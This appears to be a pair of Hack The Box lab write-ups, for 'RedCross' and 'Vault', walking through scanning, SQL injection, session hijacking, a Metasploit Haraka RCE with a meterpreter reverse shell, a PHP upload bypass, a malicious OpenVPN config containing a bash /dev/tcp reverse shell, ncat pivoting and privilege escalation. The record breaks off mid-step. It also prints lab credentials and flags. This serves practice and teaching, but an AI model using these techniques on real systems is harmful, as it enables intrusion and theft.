14 Apr 2019
Explanation
Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of machine “RedCross” on that website.
Solution
1. Initial Enumeration
Port Scanning:
root@kali:~# nmap -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 19:17 EEST
Nmap scan report for intra.redcross.htb ( 10.10.10.113)
Host is up ( 0.035s latency) .
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 ( protocol 2.0)
| ssh-hostkey:
| 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 ( RSA)
| 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 ( ECDSA)
|_ 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 ( ED25519)
80/tcp open http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open ssl/http Apache httpd 2.4.25
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 ( Debian)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /?page=login
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after: 2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.1
| http/1.1
~~~
| http/1.1
| http/1.1
| http/1.1
| http/1.1
|_ http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4351.20 seconds
Since http/s access of 10.10.10.113 redirects to “https://intra.redcross.htb”, we have to add following line to “/etc/hosts”
10.10.10.113 intra.redcross.htb
Gobuster HTTP:
root@kali:~# gobuster -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u https://intra.redcross.htb/
=====================================================
Gobuster v2.0.1 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : https://intra.redcross.htb/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Timeout : 10s
=====================================================
2019/04/13 20:27:10 Starting gobuster
=====================================================
/images ( Status: 301)
/pages ( Status: 301)
/documentation ( Status: 301)
/javascript ( Status: 301)
/server-status ( Status: 403)
=====================================================
2019/04/13 20:40:54 Finished
=====================================================
Gobuster HTTP “/documentation”:
root@kali:~# gobuster -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u https://intra.redcross.htb/documentation/ -x .doc,.pdf
=====================================================
Gobuster v2.0.1 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : https://intra.redcross.htb/documentation/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : doc,pdf
[ +] Timeout : 10s
=====================================================
2019/04/13 21:06:57 Starting gobuster
=====================================================
/account-signup.pdf ( Status: 200)
=====================================================
2019/04/13 21:47:36 Finished
=====================================================
2. Getting User
We can find a login console on the top page.
Besides, we can find an interesting pdf under the directory “/documents”
By sending following message, we can create a new credential “guest:guest”.
We can login to the console with a credential “guest:guest”.
If we put a single quote in a UserID and submit, we receive followin message.
This means this webapp has SQLinjection vulnerability.
In this case, the url we are redirected is following.
https://intra.redcross.htb/?o= %27&page= app
Now we have following query and we have to put something into single quote.
or dest like ''
We can put % there and we can achieve following output.
Sounds like we have admin webapp and we have sub domain for that.
Add following line in “/etc/hosts” and try to access.
10.10.10.113 admin.redcross.htb
We can find another login console.
we can try the credential “guest:guest”. However, it shows a message we don’t have enough privilege.
Then, try to do session replay attack.
Open Burp Suite and check the “PHPSESSID” in the Cookie when we accessed “intra.redcross.htb”.
Then, turn intercept on and try to access “admin.redcross.htb”.
check the value of “PHPSESSID” in the cookie and change the value to the above session id.
We have to modify following 3 requests.
Then, we can access to the admin console of “admin.redcross.htb”.
With accessing “User Management”, we can create a new user on redcross.
We cam use this credential for ssh login.
inari:YfXHf8ta
root@kali:~# ssh inari@10.10.10.113
inari@10.10.10.113's password: # YfXHf8ta
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ id
uid=2020 gid=1001(associates) groups=1001(associates)
We can confirm we’re in a “jail”.
$ cd
-bash : cd : /var/jail/home: No such file or directory
We can enumerate some directories. However, there is nothing interesting.
Then, go back to admin console. We still have another page “Firewall”.
By providing our ip, we can put in in a “whitelist” of “firewall”.
Try to scan the ports again.
root@kali:~# nmap -p- -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-14 12:59 EEST
Nmap scan report for intra.redcross.htb ( 10.10.10.113)
Host is up ( 0.035s latency) .
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 ( protocol 2.0)
| ssh-hostkey:
| 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 ( RSA)
| 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 ( ECDSA)
|_ 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 ( ED25519)
80/tcp open http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open ssl/http Apache httpd 2.4.25
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 ( Debian)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /?page=login
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after: 2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.1
~~~
| http/1.1
|_ http/1.1
1025/tcp open NFS-or-IIS?
5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 1.0 to 3.0
| Fpostmaster.c
| L2030
|_ RProcessStartupPacket
| ssl-cert: Subject: commonName=redcross.redcross.htb
| Subject Alternative Name: DNS:redcross.redcross.htb
| Not valid before: 2018-06-03T19:13:20
|_Not valid after: 2028-05-31T19:13:20
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5432-TCP:V=7.70%I=7%D=4/14%Time=5CB304BA%P=x86_64-pc-linux-gnu%r(SM
SF:BProgNeg,8C,"E\0\0\0\x8bSFATAL\0VFATAL\0C0A000\0Munsupported\x20fronten
SF:d\x20protocol\x2065363\.19778:\x20server\x20supports\x201\.0\x20to\x203
SF:\.0\0Fpostmaster\.c\0L2030\0RProcessStartupPacket\0\0");
Service Info: Hosts: RedCross, redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 344.69 seconds
We can find additional service port 1025 and port 5432.
By connecting with nc and waiting for a while, port 1025 give us a response.
root@kali:~# nc 10.10.10.113 1025
hoge
220 redcross ESMTP Haraka 2.8.8 ready
500 Unrecognized command
According to Exploit database, this smtp server “Haraka 2.8.8” has RCE.
root@kali:~# searchsploit haraka
--------------------------------------- ----------------------------------------
Exploit Title | Path
| ( /usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Haraka < 2.8.9 - Remote Command Execut | exploits/linux/remote/41162.py
--------------------------------------- ----------------------------------------
Shellcodes: No Result
We can use metasploit to exploit this vulnerability.
msf5 > use exploit/linux/smtp/haraka
msf5 exploit( linux/smtp/haraka) > set payload linux/x64/meterpreter_reverse_tcp
payload => linux/x64/meterpreter_reverse_tcp
msf5 exploit( linux/smtp/haraka) > set srvhost 10.10.14.23
srvhost => 10.10.14.23
msf5 exploit( linux/smtp/haraka) > set srvport 8080
srvport => 8080
msf5 exploit( linux/smtp/haraka) > set email_to inari@redcross.htb
email_to => inari@redcross.htb
msf5 exploit( linux/smtp/haraka) > set email_from admin@redcross.htb
email_from => admin@redcross.htb
msf5 exploit( linux/smtp/haraka) > set rhost 10.10.10.113
rhost => 10.10.10.113
msf5 exploit( linux/smtp/haraka) > set rport 1025
rport => 1025
msf5 exploit( linux/smtp/haraka) > set lhost 10.10.14.23
lhost => 10.10.14.23
msf5 exploit( linux/smtp/haraka) > run
[ * ] Started reverse TCP handler on 10.10.14.23:4444
[ * ] Exploiting...
[ * ] Using URL: http://10.10.14.23:8080/MMmePjUGN9RKWlW
[ * ] Sending mail to target server...
[ * ] Client 10.10.10.113 ( Wget/1.18 ( linux-gnu)) requested /MMmePjUGN9RKWlW
[ * ] Sending payload to 10.10.10.113 ( Wget/1.18 ( linux-gnu))
[ * ] Meterpreter session 1 opened ( 10.10.14.23:4444 -> 10.10.10.113:39132) at 2019-04-14 13:42:47 +0300
[ +] Triggered bug in target server ( plugin timeout )
[ * ] Command Stager progress - 100.00% done ( 119/119 bytes)
[ * ] Server stopped.
meterpreter > getuid
Server username: uid = 1000, gid = 1000, euid = 1000, egid = 1000
user.txt is in a directory “/home/penelope”.
meterpreter > cd /home/penelope
meterpreter > ls -la
Listing: /home/penelope
=======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 0 fil 2018-06-08 13:55:13 +0300 .bash_history
100644/rw-r--r-- 0 fil 2018-06-08 13:54:51 +0300 .bash_logout
100644/rw-r--r-- 3380 fil 2018-06-11 01:47:31 +0300 .bashrc
100644/rw-r--r-- 675 fil 2018-06-03 21:43:26 +0300 .profile
100644/rw-r--r-- 24 fil 2018-06-11 01:46:30 +0300 .psqlrc
40700/rwx------ 4096 dir 2018-06-09 11:51:29 +0300 .ssh
100600/rw------- 791 fil 2018-06-11 01:47:31 +0300 .viminfo
40770/rwxrwx--- 4096 dir 2018-06-08 01:08:43 +0300 haraka
100640/rw-r----- 33 fil 2018-06-08 13:53:04 +0300 user.txt
meterpreter > cat user.txt
ac899bd46f7b014a369fbb60e53329bf
3. Getting Root
At first, we have to spawn a python full shell.
python -c 'import pty; pty.spawn("/bin/bash")'
In directory “/var/www/html/admin/pages”, we can find some credentials for database.
penelope@redcross:/var/www/html/admin/pages$ cat actions.php
cat actions.php
<?php
session_start() ;
require "../init.php" ;
function generateRandomString( $length = 8) {
~~~
$dbconn = pg_connect( "host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&" ) ;
~~~
$dbconn = pg_connect( "host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&" ) ;
~~~
?>
penelope@redcross:/var/www/html/admin/pages$ psql unix unixusrmgr -h localhost
<html/admin/pages$ psql unix unixusrmgr -h localhost
Password for user unixusrmgr: dheu%7wjx8B&
psql ( 9.6.7)
SSL connection ( protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.
unix =>
We can see the list of table by “\dt;”
unix => \d t;
\d t;
WARNING: terminal is not fully functional
- ( press RETURN)
List of relations
Schema | Name | Type | Owner
-------- +--------------+-------+----------
public | group_table | table | postgres
public | passwd_table | table | postgres
public | shadow_table | table | postgres
public | usergroups | table | postgres
( 4 rows)
In table “passwd_table”, we can specify some parameter for remote users.
unix => select * from passwd_table;
select * from passwd_table;
WARNING: terminal is not fully functional
- ( press RETURN)
username | passwd | uid | gid | gecos | homedi
r | shell
---------- +------------------------------------+------+------+-------+----------
------ +-----------
tricia | $1$WFsH /kvS$5gAjMYSvbpZFNu //uMPmp. | 2018 | 1001 | | /var/jail
/home | /bin/bash
inari | $1$oJkderY0$RHUnmknSOSToS9HpHcVaP1 | 2020 | 1001 | | /var/jail
/home | /bin/bash
( 2 rows)
Modify the value of user inari.
unix => update passwd_table set gid = 27 where uid = 2020;
update passwd_table set gid = 27 where uid = 2020;
UPDATE 1
unix => update passwd_table set homedir = '/root' where uid = 2020;
update passwd_table set homedir = '/root' where uid = 2020;
UPDATE 1
unix => select * from passwd_table;
select * from passwd_table;
WARNING: terminal is not fully functional
- ( press RETURN)
username | passwd | uid | gid | gecos | homedi
r | shell
---------- +------------------------------------+------+------+-------+----------
------ +-----------
tricia | $1$WFsH /kvS$5gAjMYSvbpZFNu //uMPmp. | 2018 | 1001 | | /var/jail
/home | /bin/bash
inari | $1$oJkderY0$RHUnmknSOSToS9HpHcVaP1 | 2020 | 27 | | /root
| /bin/bash
( 2 rows)
Then, login as user inari with ssh.
Since group “sudo” can execute any command as root on this server, we can achieve a root shell by command “sudo -s”.
root@kali:~# ssh inari@10.10.10.113
inari@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 14 07:31:53 2019 from 10.10.14.23
Could not chdir to home directory /root: Permission denied
-bash: /root/.bash_profile: Permission denied
inari@redcross:/$ sudo -s
[sudo] password for inari:
root@redcross:/# cd /root
root@redcross:~# cat root.txt
892a1f4d018e5d382c4f5ee1b26717a4
07 Apr 2019
Explanation
Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of machine “Vault” on that website.
Solution
1. Initial Enumeration
Port Scanning:
root@kali:~# nmap -p- 10.10.10.109 -sV -sC
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-05 15:02 EET
Nmap scan report for 10.10.10.109
Host is up ( 0.036s latency) .
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 ( RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 ( ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 ( ED25519)
80/tcp open http Apache httpd 2.4.18 (( Ubuntu))
|_http-server-header: Apache/2.4.18 ( Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.36 seconds
Gobuster HTTP:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.109/ -x .php
=====================================================
Gobuster v2.0.0 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.109/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : php
[ +] Timeout : 10s
=====================================================
2019/03/05 15:06:18 Starting gobuster
=====================================================
/index.php ( Status: 200)
/server-status ( Status: 403)
=====================================================
2019/03/05 15:35:07 Finished
=====================================================
In index.php, there is a message “We are proud to announce our first client: Sparklays (Sparklays.com still under construction)”.
Try to access to /sparklays.
Gobuster HTTP /sparklays:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.109/sparklays -x .php
=====================================================
Gobuster v2.0.0 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.109/sparklays/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : php
[ +] Timeout : 10s
=====================================================
2019/03/05 16:00:28 Starting gobuster
=====================================================
/login.php ( Status: 200)
/admin.php ( Status: 200)
/design ( Status: 301)
=====================================================
2019/03/05 16:29:17 Finished
=====================================================
Gobuster HTTP /sparklays/design:
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,403' -u http://10.10.10.109/sparklays/design -x .php,.html
=====================================================
Gobuster v2.0.0 OJ Reeves ( @TheColonial)
=====================================================
[ +] Mode : dir
[ +] Url/Domain : http://10.10.10.109/sparklays/design/
[ +] Threads : 10
[ +] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes : 200,204,301,302,403
[ +] Extensions : php,html
[ +] Timeout : 10s
=====================================================
2019/03/06 14:13:00 Starting gobuster
=====================================================
/uploads ( Status: 301)
/design.html ( Status: 200)
=====================================================
2019/03/06 14:58:17 Finished
=====================================================
2. Getting User
In “/sparklays/design/design.html”, we have a link to “/sparklays/design/changelogo.php”.
“changelogo.php” has a form which we can upload a file.
If we upload a image file, we can find it in the directory “/sparklays/design/uploads/”.
This form has file upload restriction but by changing file extension to “php5” and Content-type, we can bypass the restriction.
By accessing uploaded php code, we can achieve a reverse shell.
# Access http://10.10.10.109/sparklays/design/uploads/php-reverse-shell.php5
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.23] from ( UNKNOWN) [ 10.10.10.109] 37380
Linux ubuntu 4.13.0-45-generic #50~16.04.1-Ubuntu SMP Wed May 30 11:18:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
05:43:31 up 8:51, 0 users , load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid = 33( www-data) gid = 33( www-data) groups = 33( www-data)
/bin/sh: 0: can't access tty; job control turned off
$
In “/home/dave/Desktop”, we can find interesting files.
$ pwd
/home/dave/Desktop
$ ls -la
total 20
drwxr-xr-x 2 dave dave 4096 Sep 3 2018 .
drwxr-xr-x 18 dave dave 4096 Sep 3 2018 ..
-rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers
-rw-rw-r-- 1 alex alex 14 Jul 17 2018 key
-rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh
In the contents of “/home/dave/Desktop/ssh”, there is a ssh credential.
dave:Dav3therav3123
We can have a ssh connection by taking advantage of that.
root@kali:~# ssh dave@10.10.10.109
dave@10.10.10.109's password: # Dav3therav3123
~~~
Last login: Sun Sep 2 07:17:32 2018 from 192.168.1.11
dave@ubuntu:~$
In the home directory, there is also an interesting file.
dave@ubuntu:~/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
Besides, in”keys”, we can find a simple text.
dave@ubuntu:~/Desktop$ cat key
itscominghome
We can execute nmap scanning for these servers by using Proxychains .
At first, add some settings in “/etc/proxychains.conf”
root@kali:~# tail /etc/proxychains.conf
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
Then, create a ssh connection.
root@kali:~# ssh -D 9050 dave@10.10.10.109
Then, execute following command.
We can figure out on 192.168.122.4, ssh and http is running.
root@kali:~# proxychains nmap 10.10.10.109
ProxyChains-3.1 ( http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-01 18:20 EEST
|S-chain|-<> -127 .0.0.1:9050-<> <> -10 .10.10.109:80-<> <> -OK
|S-chain|-<> -127 .0.0.1:9050-<> <> -10 .10.10.109:22-<> <> -OK
|S-chain|-<> -127 .0.0.1:9050-<> <> -10 .10.10.109:139-<--timeout
~~~
|S-chain|-<> -127 .0.0.1:9050-<> <> -192 .168.122.4:19350-<--timeout
|S-chain|-<> -127 .0.0.1:9050-<> <> -192 .168.122.4:9101-<--timeout
Nmap scan report for 192.168.122.4
Host is up ( 0.036s latency) .
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done : 1 IP address ( 1 host up) scanned in 36.08 seconds
Then, seeing what is the content of http server.
root@kali:~# proxychains curl http://192.168.122.4/
ProxyChains-3.1 ( http://proxychains.sf.net)
|S-chain|-<> -127 .0.0.1:9050-<> <> -192 .168.122.4:80-<> <> -OK
<h1> Welcome to the Sparklays DNS Server </h1>
<p>
<a href = "dns-config.php" > Click here to modify your DNS Settings</a><br>
<a href = "vpnconfig.php" > Click here to test your VPN Configuration</a>
We can try to open this website with browser(But generally don’t run web browser with root !!)
root@kali:~# proxychains google-chrome --no-sandbox
In “/vpnconfig.php”, we can find a form which we can edit / execute .ovpn file.
After running netcat, by posting following data with “vpnconfig.php”, we can achieve a reverse shell from VM “DNS”
remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/4444 0>&1'"
dave@ubuntu:~$ nc -nlvp 4444
Listening on [ 0.0.0.0] ( family 0, port 4444)
Connection from [ 192.168.122.4] port 4444 [ tcp/* ] accepted ( family 2, sport 35236)
bash: cannot set terminal process group ( 1123) : Inappropriate ioctl for device
bash: no job control in this shell
root@DNS:/var/www/html#
user.txt is in the directory “/home/dave”:
root@DNS:/home/dave# cat user.txt
cat user.txt
a4947faa8d4e1f80771d34234bd88c73
3. Getting Root
In directory “/home/dave” on DNS, we can find an interesting file.
root@DNS:/home/dave# cat ssh
cat ssh
dave
dav3gerous567
This is a credential which we can access “DNS” with ssh.
dave@ubuntu:~$ ssh dave@192.168.122.4
dave@192.168.122.4's password: # dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
~~~
Last login: Sat Apr 6 10:28:23 2019 from 192.168.122.1
dave@DNS:~$
By following command, we can figure out that we can execute any command as root.
dave@DNS:/home$ sudo -l
[ sudo ] password for dave:
Matching Defaults entries for dave on DNS:
env_reset, mail_badpass,
secure_path = /usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin\: /snap/bin
User dave may run the following commands on DNS:
( ALL : ALL) ALL
Besides, in “/etc/hosts”, we can find an IP address of “vault”
dave@DNS:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 DNS
192.168.5.2 Vault
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
If we try to find this IP address in other place, we can find “auth.log”.
This looks like trying to execute nmap from port -4444.
root@DNS:/var/log# grep "192.168.5.2" -rl /var/log 2>/dev/null
/var/log/auth.log
/var/log/btmp
root@DNS:/var/log# cat auth.log | grep -a "192.168.5.2"
~~~
Sep 2 15:07:51 DNS sudo : dave : TTY = pts/0 ; PWD = /home/dave ; USER = root ; COMMAND = /usr/bin/nmap 192.168.5.2 -Pn --source-port = 4444 -f
Sep 2 15:10:20 DNS sudo : dave : TTY = pts/0 ; PWD = /home/dave ; USER = root ; COMMAND = /usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep 2 15:10:34 DNS sudo : dave : TTY = pts/0 ; PWD = /home/dave ; USER = root ; COMMAND = /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
If we execute these command, we can see unknown service is running on port 987
root@DNS:~# nmap 192.168.5.2 --source-port = 4444
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-06 22:50 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for Vault ( 192.168.5.2)
Host is up ( 0.0023s latency) .
Not shown: 999 closed ports
PORT STATE SERVICE
987/tcp open unknown
Nmap done : 1 IP address ( 1 host up) scanned in 25.84 seconds
If we don’t specify the option “–source-port=4444”, we don’t see any result.
root@DNS:~# nmap 192.168.5.2
Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-06 22:53 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done : 1 IP address ( 0 hosts up) scanned in 3.04 seconds
By running nc from DNS, we can figure out the service running on port 987 is ssh
root@DNS:~# nc 192.168.5.2 987 -p 4444
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
This means, we have to connect ssh on port 987 from port 4444.
We need following command to achieve this purpose.
root@DNS:~# ncat -l 1234 --sh-exec "ncat -p 4444 192.168.5.2 987"
We can confirm that we opened port 1234 on localhost by “netstat”
root@DNS:~# netstat -nlp
Active Internet connections ( only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 14274/ncat
By following command, we can connect to VM “Vault”.
root@DNS:~# ssh dave@127.0.0.1 -p 1234
dave@127.0.0.1's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
~~~
Last login: Sat Apr 6 12:36:57 2019 from 192.168.122.4
dave@vault:~$
In the home directory of dave, we can find a gyg encrypted file “root.txt.png”.
dave@vault:~$ ls -l
total 4
-rw-rw-r-- 1 dave dave 629 Sep 3 2018 root.txt.gpg
dave@vault:~$ file root.txt.gpg
root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA ( Encrypt or Sign) 4096b .
It seems like we need a secret key to encrypt this file.
dave@vault:~$ gpg -d root.txt.gpg
gpg: directory ` /home/dave/.gnupg' created
gpg: new configuration file `/home/dave/.gnupg/gpg.conf' created
gpg: WARNING: options in ` /home/dave/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/dave/.gnupg/secring.gpg' created
gpg: keyring ` /home/dave/.gnupg/pubring.gpg' created
gpg: encrypted with RSA key, ID D1EB1F03
gpg: decryption failed: secret key not available
We need a secret key file for gpg file. We can find it on VM “ubuntu” by command “gpg –list-secret-keys”.
dave@ubuntu:~$ gpg --list-secret-keys
/home/dave/.gnupg/secring.gpg
-----------------------------
sec 4096R/0FDFBFE4 2018-07-24
uid david <dave@david.com>
ssb 4096R/D1EB1F03 2018-07-24
Copy the “root.txt.gpg” to VM “ubuntu”.
# On vault
dave@vault:~$ base32 root.txt.gpg
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD
LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB
GMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55
AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRG
VEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOE
OPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFE
CKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3
AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJI
UWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTD
ZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ
6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36
G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE274
64GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBK
TTAX3UIRVNBQMYRI7XY =
# On ubuntu
